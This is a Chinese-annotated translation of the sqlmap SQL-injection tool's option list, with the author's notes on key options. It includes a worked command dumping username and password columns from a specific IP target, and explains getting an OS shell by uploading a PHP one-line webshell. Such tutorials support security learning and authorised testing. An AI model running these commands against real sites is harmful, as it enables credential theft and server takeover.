__H__
_ _[,]_ __ {1.6.9.1#dev}
|_ -| . [‘] | .’| . |
|**| [)]|||,| **|
||V… || https://sqlmap.org
Usage: sqlmap.py [options]
作者:凌度
个人博客:www.ytongsai.cn
时间:2023.1.21
注意:
未经授权使用 sqlmap 扫描目标是非法行为,开发人员不承担任何责任!最终由用户自行
选项:
-h, --help 展示基本的选项并退出
-hh 展示详细的选项并退出
–version 展示程序版本信息并退出
-v VERBOSE 详细输出信息等级,默认是1(0-6,2:显示 debug 信息,3:显示注入的 payload 信息,4:显示 http 请求,显示 http 的响应包,5:显示 http 响应包,6:显示完整的 http 响应)# -v 3
目标:
必需定义下面当中的一个选项来定义我们的目标
-u URL, --url=URL 单个目标 url 地址 (举例:-u "http://www.site.com/vuln.php?id=1")
-d DIRECT Connection string for direct database connection
-l LOGFILE 从 burp suite 代理日志文件中解析目标
-m BULKFILE 扫描 txt 文本中给出的多个目标,每一行代表一个 url 地址,适合批量扫描
-r REQUESTFILE 从我们的请求文件中进行注入,通常我们会选择 burp suite 进行数据包的拦截,然后将该请求文件内容保存下来,然后放在 sqlmap 里面进行注入,这种方式也可作为 post 请求注入的第二种方式,相对于 --data="" 来讲,使用 -r 不用考虑 cookie 的问题,而 --data="" 去注入的时候,有时候会考虑 cookie
// 下面两选项我用的少
-g GOOGLEDORK 将 google dork 搜索结果作为目标 url 地址
-c CONFIGFILE 从 ini 配置文件中加载选项
请求:
这些选项可用于指定如何连接到目标 url
-A AGENT, --user.. 设置 user-agent 的值
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD 强制更换请求的方法
--data=DATA 设置 post 请求发送的数据 (举例:sqlmap -u "http://www." --data="uname=11&passwd=22&submit=Submit")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE 设置 cookie 值
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
--live-cookies=L.. Live cookies file used for loading up-to-date values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--mobile Imitate smartphone through HTTP User-Agent header
--random-agent 设定随机的 user-agent
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer, ...)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--proxy-freq=PRO.. Requests between change of proxy from a given list
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--retry-on=RETRYON Retry request on regexp matching content (e.g. "drop")
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Regular requests between visits to a safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0)
--force-ssl 当扫描 https 的 url 的时候需要添加该参数
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
优化:
这些选项可用于优化 sqlmap 的性能
-o 打开所有优化开关
--predict-output 预测常见查询输出
--keep-alive 使用持久的 http(s) 连接
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS 最大 http(s) 并发数量,默认是 1
注入:
这些选项可用于指定要测试的参数,提供自定义注入有效载荷和可选的篡改脚本
-p TESTPARAMETER 指定一个注入位置,其它位置不注入
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
检测参数:
这些选项可用于自定义检测阶段
--level=LEVEL 规定测试的等级,如果不设置,那么默认是 1 ,范围是 1-5,比如当你要测试 cookie 是否存在注入的时候,我们需要设置等级 2 以上,如果我们需要对 http,user-agent,referer 进行检测,我们需要设置等级为 3 以上
--risk=RISK 攻击载荷检测参数,默认是 1 ,设置的等级越高, payload 加载的也会越多,但是这个设置 3 的时候会特别慢,这是一个缺点
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--smart Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
技术:
这些选项可用于调整特定 SQL 注入技术的测试
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
指纹:
-f, --fingerprint Perform an extensive DBMS version fingerprint
枚举:
这些选项可用于枚举表中包含的数据库管理系统信息、结构和数据
-a, --all 检索所有信息
-b, --banner 检索数据库信息
----------------------------------------下面是重点------------------------------------------
--current-user 检索当前数据库用户名
--current-db 检索当前的数据库
--hostname 检索数据库服务器主机名
--is-dba 判断当前数据库是否为管理员权限
--users 检索所有数据库的用户名
--passwords 枚举数据库用户密码的 hash 值
--privileges 枚举所有数据库用户的权限
--roles 枚举数据库用户扮演的角色
--dbs 枚举所有数据库名
--tables 枚举数据库所有的表
--columns 枚举数据库所有的列
--schema 枚举所有的数据库
----------------------------------------上面是重点------------------------------------------
--count Retrieve number of entries for table(s)
--dump 转存当前语句所查询的结果,并以 csv 格式文件保存下来
--dump-all 转存所有数据库的信息
--search 搜素 column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
--statements Retrieve SQL statements being run on DBMS
----------------------------------------下面是重点------------------------------------------
-D DB 指定数据库名(举例:-D "security") // 指定 security 库
-T TBL 指定数据库表名(举例:-T "users") // 指定 users 表
-C COL 指定数据库列名(举例:-C "username,passwd") // 指定 username,passwd 字段
举例:sqlmap-master>sqlmap.py -u "http://219.153.49.228:46712/new_list.asp?id=2" -D "mozhe_db_v2" -T "manage" -C "username,password" --dump
// 通过 sqlmap 对 http://219.153.49.228:46712/new_list.asp?id=2 这个 id 参数进行探测。指定数据库名:mozhe_db_v2 ,指定表名:manage,指定列名:username,password,--dump 一般是最后用,用来保存文件
----------------------------------------上面是重点------------------------------------------
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=SQLQ.. SQL statement to be executed
--sql-shell 执行单个 SQL 语句,当我们无法获得 webshell 的时候,我们如果想获取数据库 shell,可以使用该命令
--sql-file=SQLFILE 从一个文件当中执行 SQL 语句
爆破:
这些选项用于爆破检查
--common-tables Check existence of common tables
--common-columns Check existence of common columns
--common-files Check existence of common files
用户自定义函数注入:
这些选项可用于创建自定义用户函数
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
文件系统访问:
这些选项可用于访问底层文件系统的后端数据库管理系统
--file-read=FILE.. 指定一个文件路径,然后读取
// 下面两个参数一般是结合使用
--file-write=FIL.. 选择本地文件路径并进行上传
--file-dest=FILE.. 这个参数是当你选择本地文件进行上传的时候,指定文件上传到路径的位置
操作系统访问:
这些选项可用于访问底层操作系统的后端数据库管理系统
–os-shell 能够执行的条件:
- root 权限
- 目录要有读写权限
- mysql 的配置文件要存在 secure_file_priv=“” 这条语句
我们执行 --os-shell 之后,如果能够执行 shell 的情况下,我们第一步是进行交互式语言的选择,这个要根据目标 web 的语言进行选择,选择之后,它会询问你是否进行下一步(do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y)我们选 y 即可,接下来有四个选项,我们需要选择一个路径
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
第一个是默认路径,第二个是自己给路径,第三是根据文件选择路径,第四个是猜解它的路径
特别注意: 我们这里上传的文件它实质上就是一个一句话木马文件,我们去访问这个时候,如果访问不到的话,那就是因为你没有上传到对应网站下,路径没有查询到
上面我没有上传到 web 目录,下面这个我上传到对应 web 目录下面了,我们可以看到有两个文件,我们通过 Web 访问这两文件试试看
可以看到它实际上就是个 php 一句话木马,和一个文件上传的 php 文件
但是通过这个获取 shell 的概率很小,因为限制条件比较多,而且你还要知道对方的一个文件路径
--os-cmd=OSCMD 执行操作系统命令
--os-shell 交互式操作系统 shell 的提示符
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows 注册表访问:
这些选项可用于访问后端数据库管理系统 Windows 注册表
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
日常参数:
设置一些日常的工作参数
杂项:
这些选项不适合任何类别
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--beep Beep on question and/or when vulnerability is found
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--list-tampers Display list of available tamper scripts
--no-logging Disable logging to a file
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--results-file=R.. Location of CSV results file in multiple targets mode
--shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--unstable Adjust options for unstable connections
--update Update sqlmap
--wizard Simple wizard interface for beginner users